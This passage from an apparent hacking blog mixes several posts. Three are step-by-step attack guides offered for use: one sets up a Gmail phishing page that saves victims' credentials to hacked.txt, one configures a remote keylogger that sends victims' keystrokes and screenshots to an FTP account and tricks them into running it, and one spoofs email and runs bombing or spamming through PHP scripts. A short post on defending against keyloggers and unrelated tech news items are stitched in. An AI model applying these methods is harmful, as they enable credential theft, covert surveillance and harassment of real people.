4. Replace the link in action field by "explore.php" and save it.

5. Go to File Manager and Upload this html file ,hacked.txt , explore.php on your web hosting site.

Note: Make a new directory with name exactly same as name of folder in which images are there.
Upload the images in that directory.

Now you can test whether it works or not. Just visit your fake login page.It must behttp://username.my3gb.com/filename.html. Enter any username and password , you will
be redirected to real gmail webpage.The data must have been saved in hacked.txt

Note: You can see the code of explore.php . There is a line like header:"location: path". It is
actually the path where victim would be redirected after submitting data. You can change it as per your need.

I hope the logic and methodology of creating a fake/phishing page is clear to you. You can use this for any website. If you are really lazy or facing problems in making phishing page of any other website, Kindly mention in comments and I have an other option for you.
Warning : Your account might be removed any time because of violating terms and conditions of site. So always have a back up of your data.

Note: Read about advance way of phishing that is Desktop Phishing here.

Remote Keylogger - configure and use

2012-10-18T13:46:00.000-07:00

Remote Keylogger - configure and use

Posted by SHINE SREEDHAR at 11:24 PM / Categories: email, keyloggers, malicious, Spywares /

Keyloggers are the best to spy upon anyone but many beginners find problem in using remote keyloggers . So in this post , I will be showing you the same.Remote keyloggers are very easy to use in comparison to trojans where the concepts like IP addresses, port forwarding are involved. I highly recommend you to read the basics of keyloggers here .

Requirements :-

1. Download a free remote keylogger 'Ardamax' with its serial keyhere. Password:explorehacking.com. Antivrus might detect it as a virus but dont worry.

2. Signup at any webhosting site supporting FTP (file transfer protocol) and note down your ftp host name.

For example , I have signed up at www.my3gb.com and ftp host name is username.my3gb.com .

We are actually gonna create an executable(exe) file, which would be given to victim and he is supposed to run it. The keylogger would be installed on his computer and we would be getting automatically keylogs/screenshots in our web hosting site ftp account.

I have added the self-explanatory pictures, follow them.

After entering registration key, click on Remote Installation
option . If it still says that its unregistered version, restart computer.

Keylogger would run invisibly on victim's computer. Victim have would have to
press Ctrl+Shift+Alt+H and enter the password you have set to make it visible.

FTP hostname may be different for different web hosting sites. Mostly it is username.webhostingsite.com . You can specify any remote folder in which you wish to get logs. After filling all details, click on 'Test' and you would get any test file to make sure that information you filled is valid and FTP connection is okay.

You can change icon of exe file (keylogger engine) if you wish

Just go through the Summary information and click finish.

So you have got an exe file which is detectable as a virus by antiviruses. Now use social engineering to make victim to click on this exe file and hopefully you would start getting the keylogs and screenshots in your account. You cant send it as an attachment in email ID. The good way is to uplaod it on any uploading site and give him the dowloading link.

Email Bombing

2012-10-18T13:38:00.002-07:00

Send , identify , trace Fake/Spoofed Email | Email Bombing | Email Spamming

Posted by: Shine sreedhar | Categories: email, email spoofing, fake email

Basics of working of Email ( You can skip this part)

Email stands for Electronic Mail. Email sending and receiving is controlled by the Email servers.Email service providers configure Email Server before anyone can Sign into his or her account and start communicating digitally.Users from across the world register in to these Email servers and setup an Email account.

Email Travelling Path :-
Let’s say we have two Email providers, one is gmail.com and other is yahoo.com, ABC is a registered user in gmail.com and XYZ is a registered user in yahoo.com.
• ABC signs in to his Email account in gmail.com, he then writes a mail to the xyz@yahoo.com and sends the message.
• But what happens behind the curtains, the Email from the computer of abc@gmail.com is forwarded to the Email server of gmail.com. Server of gmail.com then looks for yahoo.com on the internet and forwards the Email of the yahoo.com for the account of XYZ@yahoo.com. Yahoo server puts that email in that account.
• XYZ then sits on computer and signs in to her Email account.Now she has the message in her Email inbox.

Sending Fake/spoofed Email -:  Fake or spoofed email means the email from any email ID. It doesn't matter whether the sender's email really exists or not. Sender's email ID can be anything@anything.com.

   Read the disclaimer before proceeding

Methods :-

1. Using Open Relay servers :  An open relay server is that which allows people to send email by connecting to it. User connect to it via telnet and instructs server to send email. This method is outdated or simply I should say that, it doesn't work. I would not talk about it more.

2. Using Websites : There are numberless websites that provide free service to send fake emails. But the problem is that they attach the advertisments along with your email. But the best two, I have found that do not attach the advertisments.

www.emkei.cz {have some advance options}
www.hidemyass.biz/fake-mailer/

3. Using mail sending scripts : The PHP contains mail sending function which allows us to send email with fake headers.
Download a php script from here.
We just need to upload the mail sending script on a web hosting site. It doesn't work on every webshosting site because there is no email sending support. I have tested x10hosting.com (could take upto a day for account activation) , it works perfect. Some of the other are www.000webhost.com,byethehost5.com

Note: This script contains options of sending spoofed email, spamming and email bombing. Your hosting account might be immediately suspended on spamming/bombing. But it works perfect if you have any your own premium web hosting account. If you want to try email bomber, I could let you to use my own if sufficient people request in comments.

What is Email Spamming and Email Bombing ?

Email Bombing as clear from the name is sending the mass emails that is large number of emails to a email ID in a single click. Email spamming is like sending an email to large number of email IDs in a single click. These activties are performed mainly for the advertisements of the products or services provided by a company. Many spammers spam to collect individual's personal information through some stupid things like 'fill these details to get your lottery amount' and that information is sold to businessmen looking for the people of different categories. There could be many more reasons of spamming. Spammers use automated tools to collect as many emails available on websites,forms,chat rooms and send spams to them.

How to identify whether an email is real or spoofed ?

It can be done by checking headers. Email headers is simply the text which contains the information about the mail servers that the email encountered in its path from the sender to receiver. It contains a lot of other information too.
Note: I am just telling you a few points about this so that you would just get an idea about the approach. This may or may not depend on some factors.

We can view email headers in gmail by clicking at 'show orignal', in yahoo by clicking at 'Full headers' and such kinds of options in other email service providers.

If you get an email displaying sender's email like someone@gmail.com, someone@hotmail.com, someone@yahoo.com . Then it should be orignated from gmail,hotmail and yahoo servers respectively. But if it doesn't, the most probably the email would be fake.

I will show you by an example, I received three emails in my gmail inbox from sender's address "someone@gmail.com." Sender's address shows me that they should have been orignated from gmail/google server, if they would be real.

Note : There is a field called "Return-path" in headers. If the email ID shown in this field and email ID you get as sender's email ID doesnt match, then the email is surely fake.

Can we get sender's IP address from Email Headers ?

We may or may not. Gmail, yahoo normally do not reveal sender's IP address. But when we send an email from a php script, the headers might reveal Sender's IP. The conclusion is that answer to this question varies from different email service providers and the way how email is sent.

Can we trace sender's location, if we get his IP address ?

The IP address could only tell that which Internet Service Provider (ISP) is used by sender. Further details can not be revealed without the help of that ISP. Normally the Public IP is dynamic that is it keeps changing. We need to ask ISP about the user who was assigned that IP at the time email was sent. If sender has purchased a static IP address, it doesn't matter that when exactly was email sent. He could easily be traced.

How to secure your system from Keyloggers

2012-10-18T13:27:00.001-07:00

What is Keylogger?

Keylogger is one of spyware which will what type you through the keyboard and send it to hacker who send the keylogger. Hackers mainly use keyloggers to steal your passwords, credit card numbers and other confidential data. So whenever you type the username and password in gmail,online banking sites, it will send the username and password to hacker.

How to Protect?

In order to provide security for your system,you must have

Good AntiVirus:

This is basic and best step to protect your system from keylogger. So buy a licensed and best antivirus which is currently in market. My suggestion is Kaspersky, Norton or Mcafee. Don't forget to update regularly.

Note: Don't use trial or cracked pack ,it is worthless to use.

Good Spyware:

Since keyloggers are basically spywares, if you are a frequent user of Internet then you could be exposed to thousands of keyloggers and spywares. So you should use a good antispyware such as NoAdware.

Antilogger can be Handy

Antiloggers are programs that detect the presence of keyloggers on a given computer. Zemana Antilogger is the best antilogger.

Online Scanning

When ever you receive a suspicious file, you scan it with online scanners such as Multi engine antivirus scanner which scans your file with 24 antivirus engines and reports it back to you if the file is recognized as a virus or spyware. This ensures that none of the malicious programs can escape from being detected as there are 24 different antivirus engines are involved in the scanning process.

Keyscrambler

Keyscrambler is one of the best protection against keyloggers that you can have, Keyscrambler is a small program which encrypts your typed keystrokes so even if the victim has installed a keylogger on your system, he or she will get encrypted keys. Keyscrambler currently supports Firefox, Internet explorer and other applications, however its premium version supports more than 160 applications

How to change the processor name of your computer

2012-10-16T12:25:00.003-07:00

how to edit send to menu of your computer

2012-10-16T12:24:00.004-07:00

Microsoft Surface to Start at $500

2012-10-16T11:33:00.002-07:00

Microsoft Surface to Start at $500

David Mcnew/ReutersThe Surface tablet, as displayed by Microsoft in June.

FACEBOOK
TWITTER
GOOGLE+
E-MAIL
SHARE
PRINT

As the days tick down to Microsoft’s introduction of its Surface tablet, the company has revealed how it plans to price the product — more like Apple than Amazon.

Instead of adopting Amazon’s lower pricing on the Kindle Fire, Microsoft said it would sell Surface for a starting price of $500, the same starting price as the current generation of Apple’s iPad. People who buy that Surface model will get some extra perks though, including 32 gigabytes of storage — twice the amount of the cheapest third-generation iPad — and a 10.6-inch display, rather than the iPad’s 9.7-inch display.

Microsoft said it would sell a 32-gigabyte Surface bundled with a blackTouch Cover, a keyboard that doubles as a protective shield for the tablet, for $600. A similar bundle with a 64-gigabyte Surface will cost $700. Microsoft will sell Touch Covers separately in a wider assortment of colors for $120, and a different type of keyboard cover with moving keys, called Type Cover, will sell for $130.

It’s clear Microsoft is aiming Surface at what is shaping up to be the premium portion of the tablet market, which Apple currently dominates. Amazon, in contrast, seems intent on using price as a weapon to gain market share against its rivals. The company recently introduced an 8.9-inch-screen Kindle Fire that starts at $300.

Microsoft has not yet said whether it will bring out a version of Surface that competes in the small-screen tablet category. Google’s Nexus 7 tablet starts at $200, while Amazon’s seven-inch Kindle Fire starts at $160. Apple is expected to announce a new, smaller iPad next week.

Surface will go on sale Oct. 26 in Microsoft retail stores in the United States and Canada. The company said the product would be sold online in Britain, China, France, Germany and several other countries. Microsoft said a limited quantity will be available for ordering on Tuesday at noon Eastern time.

The company also began showing a new Surface television commercial on Monday evening, featuring an odd collection of foot-stomping girls in school uniforms and dancers using their Surface tablets as percussion instruments.

Instantly Capture 360° iPhone Images and Videos with BubbleScope

2012-10-14T10:13:00.002-07:00

There are plenty of apps and methods for creating panoramic photos with your iPhone, but they all require taking multiple images and stitching them together – there’s nothing out there that lets you capture the full 360° around you all at once. Until the Bubblescope, that is.

Bubblescope is a lens attachment which uses the camera in your iPhone, along with a free app (BubblePix), to instantly capture both images and videos covering 360º around you. The Bubblescope itself has a pop-up lens that easily retracts, and it comes off the case in a jiffy for compact storage when you’re not using it.

And of course, when you’ve got some great shots (called Bubbles) with the Bubblescope, you’ll want to be able to share them, which is simple to with both the app and via the web with your free BubblePix account. Instagram, Facebook, and Twitter shares are just a click away, so when you want to share your 360° visual experience, capture it with Bubblescope and show it to the world.

Wifi boost

2012-10-14T09:18:00.001-07:00

Images Courtesy of The Chive

I love a good hack, especially one that requires me to throw back a cold one before hand (or during). Thissimple wifi boost has actually been shown to increase signal strength by at least 2 to 4 bars. And, well, I will drink to that.

These instructions came to us via WikiHow and we think they are most definitely worth checking out. But here is the most important question: what kind of beer will you use?

READ MORE: Intruders Beware: Homemade Robot Can Shoot 1,000 Rounds per Minute (Video)

For this project you are going to need scissors, a utility knife, some adhesive putty and an empty beer can. More than one empty beer can is acceptable but don’t kid yourself, the router only needs the one.

The first step is to wash out your empty beer can, unless of course said beer is a can of Pabst Blue Ribbon. If it is PBR, promptly go drink a better beer. You really should be ashamed of yourself.

Once the can has dried, you will want to remove it’s pull tab.

READ MORE: Iron Age Beer-Making Operation Discovered

Only perform this next step if you have not been drinking. Using the utility knife, saw off the bottom of the can. Chances are your can will not have a red dotted line. If you see one, put down the knife…you’ve had too much beer.

You’ll notice in the above step that the can’s pull tab has returned. Clearly, there are only two possible reasons for this. One, you are really drunk and you never removed the tab in the first place. Or–the more likely answer–beer cans can regenerate themselves.

READ MORE: Oktoberfest Science: Bacteria Mask Beer Stench

It’s the home stretch! You just need to attach your modded beer can to the wifi router. Hopefully no other parts of the can have actually grown back. You now have beer-fit